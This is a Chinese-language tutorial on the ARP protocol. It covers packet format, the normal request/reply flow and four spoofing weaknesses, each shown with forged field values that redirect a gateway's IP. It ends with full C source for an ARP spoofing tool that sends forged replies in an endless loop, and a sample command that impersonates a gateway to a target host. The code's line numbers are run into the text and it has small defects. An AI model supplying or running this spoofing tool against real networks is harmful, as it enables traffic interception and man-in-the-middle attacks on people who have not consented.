0 引言
IP協議之所以如此廣泛地被應用於全球,一個重要的原因就是它可以運行於幾乎所有鏈路層之上,如點對點的串列線路、環網FDDI,當然目前支撐IP協議的最普遍的鏈路層還是乙太網路。對於點對點的串列線路,只有兩個節點,沒有物理地址定義的必要;而對於像乙太網路這樣的廣播型網路,網路上的每一個節點都會有一個物理地址來唯一標示。
IP層產生的資料報必須通過實際的物理鏈路層才能變成真正的物理訊號發送出去,而往哪裡發送,在IP層取決於目的IP地址,但是鏈路層並不知道目的IP是什麼東西,它是按照目的MAC地址發送物理訊號的,所以在發送IP資料報之前必須要知道對應的目的MAC地址,這個根據IP找出對應MAC的功能就有ARP協議實現。
1 ARP包格式
為乙太網路上ARP資料報的完整格式,綠色地區就是ARP協議的內容。需要注意的是由於乙太網路的資料部分大小必須是在46-1500之間,而ARP包只有28個位元組,所以需要填充18個位元組才能滿足要求。
其中ARP對應的乙太網路框架類型值為0x0806。
ARP協議裡,鏈路層地址類型是乙太網路,值為1;網路層類型為IP,值為0x800;鏈路層地址長度為6;網路層地址長度為4;op是區分ARP請求與應答的標誌,1表示請求,2表示應答;發送端乙太網路地址表示發出本次ARP包的主機MAC,發送端IP就是發出本次ARP包的主機的IP地址;目的MAC,目的IP同上,只是表示的是接收端的情況。
2 ARP請求與應答正常流程
下面根據op的類型討論。
網路拓撲如下:
假設主機A不知道主機B的MAC,那麼A要發出arp請求。當op=1,表示是arp請求。arp包中此時目的MAC地址是不知道的,用0x000000000000填充,目的IP是192.168.0.101。
乙太網路包的目的MAC必須是廣播位址0xFFFFFFFFFFFF,乙太網路的源MAC和arp包的發送端MAC一樣都是主機A的MAC,即0xAAAAAAAAAAAA。主要資料如下:
以太幀源MAC: 0xAAAAAAAAAAAA
以太幀目的MAC: 0xFFFFFFFFFFFF
ARP op = 1
ARP發起端MAC:0xAAAAAAAAAAAA
ARP發起端IP:192.168.0.100
ARP目的端MAC: 0x000000000000
ARP目的端IP:192.168.0.101
由於是乙太網路廣播幀,所以交換器上所有的主機(除了發送的主機)(如果有Vlan功能,則必須同一Vlan)都能收到這個幀,收到幀後交予ARP模組處理,arp模組分析ARP包中的目的端IP,網關發現原生IP與之不同,那麼就簡單的丟棄;主機B發現與其自身的IP相同,於是向A主機發送ARP reply。
以太幀源MAC: 0xBBBBBBBBBBBB
以太幀目的MAC: 0xAAAAAAAAAAAA
arp op=2
ARP發起端MAC:0BBBBBBBBBBBB
ARP發起端IP:192.168.0.101
ARP目的端MAC: 0xAAAAAAAAAAAA
ARP目的端IP:192.168.0.100
此時的乙太網路幀是單播,只有A能收到,A收到後交予ARP模組處理,ARP模組提取ARP發起端IP和發起端MAC(192.168.0.101,0xBBBBBBBBBBB),將其記錄如arp快取。
3 ARP的缺陷
上面描述的是一切正常的情況,但是ARP協議不是一個安全的協議,可以人為的構造ARP包來欺騙之。
3.1 ARP 請求與應答不需要配對
主機收到arp應答時,不管以前是否發出對應的請求,均接受並更新arp緩衝。這樣就導致了,可以向任何主機發送虛假的arp應答,如:
以太幀源MAC: 0xBBBBBBBBBBBB
以太幀目的MAC: 0xAAAAAAAAAAAA
arp op=2
ARP發起端MAC:0xBBBBBBBBBBBB
ARP發起端IP:192.168.0.1
ARP目的端MAC: 0xAAAAAAAAAAAA
此時,主機B發出一個欺騙arp應答,告訴A,192.168.0.1這個IP對應的MAC是主機B。這樣A以後發往192.168.0.1的所有以太幀都發送到主機B上了。
更重要的是,arp不檢查ARP目的端MAC與目的端IP。
3.2 ARP reply也可以廣播
上面所描述的reply包都是單播的,但實際上reply包也可以是廣播,如下:
以太幀源MAC: 0xBBBBBBBBBBBB
以太幀目的MAC: 0xFFFFFFFFFFFF
arp op=2
ARP發起端MAC:0xBBBBBBBBBBBB
ARP發起端IP:192.168.0.1
ARP目的端MAC: 0xAAAAAAAAAAAA
此時網段內的所有主機都會被欺騙,認為網關192.168.0.1是主機B。
經過實驗驗證,WindowsXP會受到ARP reply廣播包的欺騙,但是Windows7不會,但是Windows7會受到單播reply的欺騙。
3.3 以太幀的源MAC和ARP包裡的發起端MAC可以不同
正常情況下,以太幀的源MAC和ARP包裡的發起端MAC是完全一樣的。但是實際上ARP依靠的是ARP包裡的發起端MAC,而不是以太幀的源MAC。如下:
以太幀源MAC: 0xBBBBBBBBBBBB
以太幀目的MAC: 0xFFFFFFFFFFFF
arp op=2
ARP發起端MAC:0xCCCCCCCCCCCC
ARP發起端IP:192.168.0.1
ARP目的端MAC: 0xAAAAAAAAAAAA
此時,把192.168.0.1對應到了一個MAC:CCCCCCCCCCCC,這個MAC可以是任意的。
3.4 以太幀的源MAC可以是任意的
這個其實不是ARP協議的問題了,而是乙太網路卡自身的問題。如下:
以太幀源MAC: 0x888888888888
以太幀目的MAC: 0xFFFFFFFFFFFF
arp op=2
ARP發起端MAC:0xCCCCCCCCCCCC
ARP發起端IP:192.168.0.1
ARP目的端MAC: 0xAAAAAAAAAAAA
此時,會造成無法尋找發起ARP欺騙的主機MAC的難題,就算是知道受騙了,也不知道是被誰欺騙的。
附ARP欺騙原始碼:
#include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 #include <sys/socket.h> 5 #include <netinet/in.h> 6 7 /*arp包結構*/ 8 struct arp_packet 9 { 10 unsigned char hard_type[2]; 11 unsigned char pro_type[2]; 12 unsigned char hard_len; 13 unsigned char pro_len; 14 unsigned char op[2]; 15 unsigned char mac_sender[6]; 16 unsigned char ip_sender[4]; 17 unsigned char mac_target[6]; 18 unsigned char ip_target[4]; 19 } __attribute__ ((__packed__)); 20 21 /*以太包結構*/ 22 struct ethernet_packet 23 { 24 unsigned char mac_des[6]; 25 unsigned char mac_src[6]; 26 unsigned char frame_type[2]; 27 struct arp_packet arp; 28 unsigned char pad[18]; 29 } __attribute__ ((__packed__)); 30 31 /*初始化arp*/ 32 static void init_arp(struct ethernet_packet *ep) 33 { 34 ep->frame_type[0] = 0x08; 35 ep->frame_type[1] = 0x06; 36 ep->arp.hard_type[0] = 0x00; 37 ep->arp.hard_type[1] = 0x01; 38 ep->arp.pro_type[0] = 0x08; 39 ep->arp.pro_type[1] = 0x00; 40 ep->arp.hard_len = 0x6; 41 ep->arp.pro_len = 0x4; 42 ep->arp.op[0] = 0x00; 43 ep->arp.op[1] = 0x02; 44 memset(ep->pad, 0, 18); 45 } 46 47 /*16進位字元變為數字*/ 48 static unsigned char ahex_to_num(char a) 49 { 50 int num; 51 a = a | 0x20; //轉換為小寫字母 52 if(a<='9' && a>='0') {
53 num = a - 0x30; 54 } else if(a<='f' && a>='a') { 55 num = a - 'a' + 10; 56 } else { 57 num = 0xFF; 58 } 59 return num; 60 } 61 /*MAC地址字串變為數字 62 *傳回值: 0--成功;其他--失敗 63 * */ 64 static int get_mac_from_asci(char a_mac[12], unsigned char h_mac[6]) 65 { 66 int i=0; 67 for(i=0; i<12; i+=2) { 68 if((a_mac[i]>='0' && a_mac[i]<='9') || (a_mac[i]|0x20>='a' && a_mac[i]|0x20<='f')) { 69 h_mac[i/2] = 16 * ahex_to_num(a_mac[i]) + ahex_to_num(a_mac[i+1]); 70 } else { 71 printf("MAC地址格式:AABBCCDDFFGG\n"); 72 return -1; 73 } 74 } 75 return 0; 76 } 77 /*構建arp, 傳回值:0--成功*/ 78 int build_arp(struct ethernet_packet *ep, char* e_mac_src, char* e_mac_des, char* arp_mac_send, char* arp_ip_send, char* arp_mac_tgt, char* arp_ip_tgt) 79 { 80 init_arp(ep); 81 struct in_addr inaddr; 82 if(0==inet_aton(arp_ip_tgt, &inaddr)){ 83 printf("目的ip地址輸入錯誤\n"); 84 return -1; 85 } 86 memcpy((void*)ep->arp.ip_target, (void*)&inaddr, 4); 87 if(0==inet_aton(arp_ip_send, &inaddr)){ 88 printf("發起ip地址輸入錯誤\n"); 89 return -2; 90 } 91 memcpy((void*)ep->arp.ip_sender, (void*)&inaddr, 4); 92 93 if(get_mac_from_asci(e_mac_src, ep->mac_src) || 94 get_mac_from_asci(e_mac_des, ep->mac_des) || 95 get_mac_from_asci(arp_mac_send, ep->arp.mac_sender)|| 96 get_mac_from_asci(arp_mac_tgt, ep->arp.mac_target)) { 97 printf("讀取MAC地址出錯\n"); 98 return -1; 99 }100 }
101 int main(int argc, char** argv)102 {103 struct ethernet_packet ep;104 if(build_arp(&ep, argv[1], argv[2], argv[3], argv[4], argv[5], argv[6])) {105 printf("Usage: marp mac_src mac_des mac_send ip_send mac_tgt ip_tgt\n");106 return -1;107 }108 printf("成功了,啦啦啦\n");109110 int fd = socket(AF_INET, SOCK_PACKET, htons(0x0806));111 if(fd<0) {112 perror("socket");113 exit(-1);114 }115 struct sockaddr sa;116 strcpy(sa.sa_data, "eth0");117 while(1) {118 sendto(fd, &ep, sizeof(ep), 0, &sa, sizeof(sa));119 sleep(5);120 }121 close(fd);122 return 0;123 }
執行格式為:marp 乙太網路幀源MAC 乙太網路幀目的MAC ARP包發起MAC ARP包發起IP ARP包目的MAC ARP包目的IP,如:
./marp 000C29BEE91F FFFFFFFFFFFF 000C29BEE91F 172.16.35.254 00016C57C0FC 172.16.35.220